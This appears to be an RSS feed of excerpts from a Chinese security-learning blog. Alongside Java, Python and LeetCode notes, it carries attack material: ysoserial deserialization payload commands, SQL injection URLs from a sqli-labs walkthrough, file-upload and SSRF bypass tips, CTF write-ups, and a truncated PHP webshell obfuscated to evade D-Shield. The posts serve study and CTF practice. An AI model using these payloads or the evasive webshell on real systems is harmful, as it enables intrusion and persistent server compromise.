<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[wsitcj的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/wsitcj</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; wsitcj]]></copyright><item><title><![CDATA[java反序列化CC1链分析(LazyMap)]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/123487261</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/123487261</guid><author>wsitcj</author><pubDate>Thu, 17 Mar 2022 20:02:38 +0800</pubDate><description><![CDATA[LazyMap类
LazyMap.decorate
//factory成员数据类型为Transformer并且我们可以控制,且该方法为public访问权限
    protected final Transformer factory;

	public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

LazyMap.get
该方法中的factory属性调]]></description><category></category></item><item><title><![CDATA[java 反序列化CC1链分析(TransformedMap)]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/123486319</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/123486319</guid><author>wsitcj</author><pubDate>Mon, 14 Mar 2022 19:57:03 +0800</pubDate><description><![CDATA[Map类 --&gt; TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ，该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换，具体的变换逻辑由Transformer类定义。也就是说，TransformedMap类中的数据发生改变时，可以自动对进行一些特殊的变换，比如在数据改变时，进行一些我们提前设定好的操作。
TransformedMap.decorate方法]]></description><category></category></item><item><title><![CDATA[JAVA基础动态代理]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/123410059</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/123410059</guid><author>wsitcj</author><pubDate>Mon, 14 Mar 2022 19:25:16 +0800</pubDate><description><![CDATA[静态代理
用法
创建一个接口，然后创建被代理的类实现该接口并且实现该接口中的抽象方法。之后再创建一个代理类，同时使其也实现这个接口。在代理类中持有一个被代理对象的引用，而后在代理类方法中调用该对象的方法。
接口：

public interface HelloInerface {
    void sayHello();
}

被代理类：

public class Hello implements HelloInerface{
    public void sayHello(){
        Sys]]></description><category></category></item><item><title><![CDATA[Java 反序列化URLDNS利用链 调试分析]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/123385898</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/123385898</guid><author>wsitcj</author><pubDate>Thu, 10 Mar 2022 19:55:04 +0800</pubDate><description><![CDATA[事前准备
他的利用链
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()


生成payload:
java -jar ysoserial.jar URLDNS http://xxx.ceye.io &gt;out.bin

java -jar ysoserial.jar URLDNS http://kjo3]]></description><category></category></item><item><title><![CDATA[java基础之反射]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/123190160</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/123190160</guid><author>wsitcj</author><pubDate>Wed, 09 Mar 2022 19:40:26 +0800</pubDate><description><![CDATA[获取Class类
得到Class类有三种方法：
.class，在加载了某个类的情况下，直接拿它的属性即可，例如：Runtime.class。
obj.getClass()。如果存在某个类的实例obj，那么可以通过getClass()方法得到这个类对应的Class。
Class.forName，也是最常用的。知道了那个类的完整名字后（包括包名），作为参数即可：Class clazz = Class.forName("java.lang.Runtime");

获取成员变量Field
Class类有这些获取属性]]></description><category></category></item><item><title><![CDATA[sqllabs 闯关wp]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/118937650</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/118937650</guid><author>wsitcj</author><pubDate>Tue, 20 Jul 2021 22:48:51 +0800</pubDate><description><![CDATA[Less 1
首先先测试为字符型，并且干扰字符为 单引号 ，所以构造语句如下
http://192.168.9.128/sqli-labs/Less-1/?id=1%27%20--+  


爆字段
http://192.168.9.128/sqli-labs/Less-1/?id=1' order by 3--+

爆表
不要忘了  group_concat 函数
http://192.168.9.128/sqli-labs/Less-1/?id=999' union select 1,group_con]]></description><category></category></item><item><title><![CDATA[python练习]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117754928</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117754928</guid><author>wsitcj</author><pubDate>Wed, 09 Jun 2021 21:40:24 +0800</pubDate><description><![CDATA[题目
给定一个非负整数数组 A，返回一个数组，在该数组中， A 的所有偶数元素之后跟着所有奇数元素。
你可以返回满足此条件的任何数组作为答案。
思路
通过自定义比较函数调用sort，将所有偶数视为0，奇数视为1，简单暴力
代码
class Solution(object):
    def sortArrayByParity(self, A):
        A.sort(key = lambda x: x % 2)
        return A



...]]></description><category></category></item><item><title><![CDATA[python练习6.8]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117717110</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117717110</guid><author>wsitcj</author><pubDate>Tue, 08 Jun 2021 21:59:43 +0800</pubDate><description><![CDATA[题目
给你一个数字数组 arr 。
如果一个数列中，任意相邻两项的差总等于同一个常数，那么这个数列就称为 等差数列 。
如果可以重新排列数组形成等差数列，请返回 true ；否则，返回 false 。
例：
输入：arr = [3,5,1]
输出：true
解释：对数组重新排序得到 [1,3,5] 或者 [5,3,1] ，任意相邻两项的差分别为 2 或 -2 ，可以形成等差数列。


代码
class Solution:
    def canMakeArithmeticProgression(self, ]]></description><category></category></item><item><title><![CDATA[python练习6.7]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117675359</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117675359</guid><author>wsitcj</author><pubDate>Mon, 07 Jun 2021 21:47:01 +0800</pubDate><description><![CDATA[题目
给定只含 “I”（增大）或 “D”（减小）的字符串 S ，令 N = S.length。
返回 [0, 1, …, N] 的任意排列 A 使得对于所有 i = 0, …, N-1，都有：
如果 S[i] == “I”，那么 A[i] &lt; A[i+1]
如果 S[i] == “D”，那么 A[i] &gt; A[i+1]
思路
我们维护当前未使用的最小和最大的数，它们对应的区间为当前未使用的数的集合。从左向右扫描字符串，如果碰到 ‘I’，就取出当前最小的数，否则取出当前最大的数。
代码
class]]></description><category></category></item><item><title><![CDATA[python练习6.6]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117636900</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117636900</guid><author>wsitcj</author><pubDate>Sun, 06 Jun 2021 21:22:45 +0800</pubDate><description><![CDATA[题目
给你一个整数数组 nums 。数组中唯一元素是那些只出现 恰好一次 的元素。
请你返回 nums 中唯一元素的 和 。
例：
输入：nums = [1,2,3,2]
输出：4
解释：唯一元素为 [1,3] ，和为 4 。

解题思路
对列表里的每一个元素计数，计数为1，元素放入新列表
代码
class Solution:
    def sumOfUnique(self, nums: List[int]) -&gt; int:
        new_nums=[]
        for i in ]]></description><category></category></item><item><title><![CDATA[python练习6.5]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117607799</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117607799</guid><author>wsitcj</author><pubDate>Sat, 05 Jun 2021 23:36:10 +0800</pubDate><description><![CDATA[题目
给你一个由不同字符组成的字符串 allowed 和一个字符串数组 words 。如果一个字符串的每一个字符都在 allowed 中，就称这个字符串是 一致字符串 。
请你返回 words 数组中 一致字符串 的数目。
思路
暴力法枚举words中所有元素的各个字母，利用find判断该字母是否包含在allowed中，如果包含则count++，最后计算count的值是否和原字符串长度相等，如果相等则结果ret+1。
代码
class Solution:
    def countConsistentStr]]></description><category></category></item><item><title><![CDATA[python练习6.3]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117535038</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117535038</guid><author>wsitcj</author><pubDate>Thu, 03 Jun 2021 21:18:40 +0800</pubDate><description><![CDATA[题目
给你一个数组 nums ，数组中有 2n 个元素，按 [x1,x2,…,xn,y1,y2,…,yn] 的格式排列。
请你将数组按 [x1,y1,x2,y2,…,xn,yn] 格式重新排列，返回重排后的数组。
思路：便利中用append从两边向中间加入
代码
class Solution:
    def shuffle(self, nums, n):
        list = []
        for i in range(1, n+1):
            list.append(nu]]></description><category></category></item><item><title><![CDATA[python练习6.2]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117487628</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117487628</guid><author>wsitcj</author><pubDate>Wed, 02 Jun 2021 23:09:24 +0800</pubDate><description><![CDATA[题目
给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出 和为目标值 target  的那 两个 整数，并返回它们的数组下标。
你可以假设每种输入只会对应一个答案。但是，数组中同一个元素在答案里不能重复出现。
你可以按任意顺序返回答案。
来源：力扣（LeetCode）
链接：https://leetcode-cn.com/problems/two-sum
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
代码
def twoSum(nums, target):]]></description><category></category></item><item><title><![CDATA[iscc wp]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117373923</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117373923</guid><author>wsitcj</author><pubDate>Fri, 28 May 2021 20:41:31 +0800</pubDate><description><![CDATA[WEB
ISCC客服冲冲冲（一）
前端控制，所以解法很多，比如用连点器，或者在 Console 里搜一下，有个 votes，直接设置，这道题可以说有非常多解题方法了，这里就不再过多阐述
这是啥

直接复制到控制台回车
得到flag
Web01
打开便提示Why don’t you take a look at robots.txt?
那就访问robots.txt看看呗，发现Disallow: /src/code/code.txt
所以就访问http://39.96.91.106:7040/code/code]]></description><category></category></item><item><title><![CDATA[c++有关const 的几种情况 与运算符重载]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/117294817</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/117294817</guid><author>wsitcj</author><pubDate>Wed, 26 May 2021 17:16:36 +0800</pubDate><description><![CDATA[当 const 和指针在一起时

当 const 与函数参数在一起时
一

二

三

用const修饰返回值是表示返回的为一个引用，而不是将对象复制返回，增强效率！！
同时，上面第三种情况需要对需要调用成员的函数“增强信任感”（即在函数体前加 const ，表示不修改成员的值只是调用他们！ ）

当我们用函数重载重新定义符号时,根据下面基本符号运算，运算结束后，num1与num2的值没有发生变化：
int num1,num2,num3;
num1=num2=1;
num3=num1+num2;

故我们在]]></description><category></category></item><item><title><![CDATA[xml基础]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/115824521</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/115824521</guid><author>wsitcj</author><pubDate>Sun, 18 Apr 2021 13:31:48 +0800</pubDate><description><![CDATA[xml基础
xml与html的不同
在学习xml之前，我以为xml与html差不多，了解后才发现，两者走的完全是两个方向！
简单来说：
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML 被设计用来结构化、存储以及传输信息，就拿下面的John 写给 George 的便签来说：
&lt;note&gt;
&lt;to&gt;George&lt;/to&gt;
&lt;from&gt;John&lt;/from&gt;
&lt;heading&gt;Reminder&lt;/headin]]></description><category></category></item><item><title><![CDATA[ssrf总结]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/115707020</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/115707020</guid><author>wsitcj</author><pubDate>Thu, 15 Apr 2021 20:38:27 +0800</pubDate><description><![CDATA[基本常识
一
先来了解一下概念吧：

也就是说：能够对外发起请求的web应用都可能存在ssrf漏洞！
那么，要怎么判断确实存在漏洞呢

回显   当输入一个url返回一个对应的页面，例如输入www.baidu.com 会返回百度页面
响应时长  当访问一个页面上面的圈圈一直在转动的话，例如国内访问 谷歌
DNS请求  利用类似DNSlog的网站
利用 nc  监听  在本地设置一个监听端口 ，用目标来访问

二
相关函数：
file_get_contents:

例如：

看是否存在漏洞，看他是否能访问内网]]></description><category></category></item><item><title><![CDATA[文件上传几种类型]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/115458441</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/115458441</guid><author>wsitcj</author><pubDate>Wed, 07 Apr 2021 21:05:05 +0800</pubDate><description><![CDATA[1、客户端校验

抓包改后缀
关掉js (谷歌：设置=&gt;高级 隐私和安全性=&gt;网站设置)

2、服务端校验（content-type）
改字段是根据你上传文件名所显现出来的


绕过方法：

抓包改content-type 字段
改文件名后上传抓包后再改回文件名
上传 正常文件改文件内容
最终目的是：…该字段正确就ok

3、服务端校验—黑名单(名单中有的不能过)
常见几种绕过姿势：

大小写绕过，例如Php、PhP
常见的后缀 php3456  pht phtml …
配合Apache  的 ]]></description><category></category></item><item><title><![CDATA[简单绕过d 盾 (免杀马)]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/115218567</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/115218567</guid><author>wsitcj</author><pubDate>Mon, 29 Mar 2021 20:15:51 +0800</pubDate><description><![CDATA[用代码执行的思路绕过,设置一个类，把他绕晕（手动滑稽）
&lt;?php
Class hello{
		
	public function pingjie(){
		$a="ass";
		$b="ert";
		return $a.$b;
	}
	public function __construct($str){
		$this-&gt;name = $str;
	}

	public function __destruct(){
		$t=$this-&gt;pingjie();
		$t($this]]></description><category></category></item><item><title><![CDATA[ctfshow web 入门 ssrf]]></title><link>https://blog.youkuaiyun.com/wsitcj/article/details/114075389</link><guid>https://blog.youkuaiyun.com/wsitcj/article/details/114075389</guid><author>wsitcj</author><pubDate>Thu, 25 Feb 2021 15:28:19 +0800</pubDate><description><![CDATA[351、curl造成的ssrf
payload:

352、加了限定：

这是从其他师傅那里拿来的payload：

353、同上吧，姿势随意一点！！
354、看了yu4傅的wp，用到    http://sudo.cc/，这就是个解析到127.0.0.1的域名，直接用即可。

355、

...]]></description><category></category></item></channel></rss>